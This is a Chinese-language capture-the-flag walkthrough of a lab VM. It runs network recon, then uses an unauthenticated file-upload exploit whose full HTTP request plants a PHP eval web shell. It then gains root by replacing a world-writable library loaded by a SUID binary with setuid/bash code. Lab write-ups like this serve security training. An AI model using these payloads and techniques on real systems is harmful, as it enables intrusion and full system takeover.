信息搜集

```
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c: 29: ff: 66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    0a: 00:27:00:00:10       (Unknown: locally administered)
192.168.31.2    08:00:27:15:87: b1       PCS Systemtechnik GmbH
192.168.31.243  08:00:27:6f: b8: d0       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.368 seconds (108.11 hosts/sec). 3 responded

┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# nmap 192.168.31.243
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-10 01:35 EDT
Nmap scan report for 192.168.31.243
Host is up (0.0014s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:6F: B8: D0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
```

只开放了 80 和 22 端口，80 端口的前端注释泄露了源码的地址

```
<!-- https://www.sourcecodester.com/sites/default/files/download/oretnom23/employee_records_system
```

文件上传

下载下来的源码数据库文件里可以知道管理员的而用户名是 admins，然后弱口令 admin123 登陆后台(实际上不登陆也没关系)。

可以直接打 poc，是未授权的

https://www.exploit-db.com/exploits/49596

```
POST http://192.168.31.242/dashboard/uploadID.php HTTP/1.1
Host: 192.168.31.242
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv: 78.0)Gecko/20100101Firefox/78.0
Accept: application/json, text/javascript, */*; q = 0.01
Accept-Language: es-ES, es; q = 0.8, en-US; q = 0.5, en; q = 0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary =---------------------------582546266370220410487078737
Content-Length: 246
DNT: 1
Connection: close

-----------------------------582546266370220410487078733
Content-Disposition: form-data; name = "employee_ID"; filename = "cmd2.php"
Content-Type: image/png

<?php eval($_POST[1]);
?>
-----------------------------582546266370220410487078733--
```

然后蚁剑连接

提权

反弹一个 shell 回来

```
www-data@sML:/home/yulian$ ls -al
total 44
drwxr-xr-x 2 yulian yulian  4096 Jul  7 06:34 .
drwxr-xr-x 3 root   root    4096 Jul  7 06:12 ..
lrwxrwxrwx 1 root   root       9 Jul  7 06:34 .bash_history -> /dev/null
-rw-r--r-- 1 yulian yulian   220 Jul  7 06:12 .bash_logout
-rw-r--r-- 1 yulian yulian  3526 Jul  7 06:12 .bashrc
-rw-r--r-- 1 yulian yulian   807 Jul  7 06:12 .profile
```

```
-rwsr-sr-x 1 root   root   16648 Jul  7 06:34 get_root
-rw-r--r-- 1 root   root      44 Jul  7 06:13 user.txt
```

在 yulian 的家目录有一个 get_root，有 suid 的权限，放进 ida 里面看看

```
int __fastcall main(int argc, const char ** argv, const char ** envp)
{
  puts("Starting get_root program...");
  hello("Starting get_root program...", argv);
  return 0;
}

__int64 __ fastcall hello(__int64 a1, __ int64 a2)
{
  return hello(a1, a2);
}
```

有一个 hello 的函数，看看 get_root 的依赖库

```
www-data@sML:/home/yulian$ ldd get_root
        linux-vdso.so.1 (0x00007fff768b0000)
        libxxoo.so => /usr/lib/sML/libxxoo.so (0x00007fbfbda58000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfbd87b000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fbfbda64000)
```

有一个 libxxoo.so 很可疑，查看他的权限是 777

```
www-data@sML:/home/yulian$ ls -al /usr/lib/sML/libxxoo.so
-rwxrwxrwx 1 root root 15984 Jul  7 06:30 /usr/lib/sML/libxxoo.so
```

那就劫持 hello 的函数就行了

```
www-data@sML:/tmp$ cat 1.c
#include <stdio.h>
#include <stdlib.h>
```

```
#include <unistd.h>


int hello() {
setgid(0);
setuid(0);
system("/bin/bash -p");
}
www-data@sML:/tmp$ gcc -fPIC -shared -o 1.so 1.c
www-data@sML:/tmp$ cat 1.so >/usr/lib/sML/libxxoo.so
www-data@sML:/tmp$ /home/yulian/get_root
Starting get_root program...
root@sML:/tmp# id
uid = 0(root) gid = 0(root) groups = 0(root),33(www-data)
```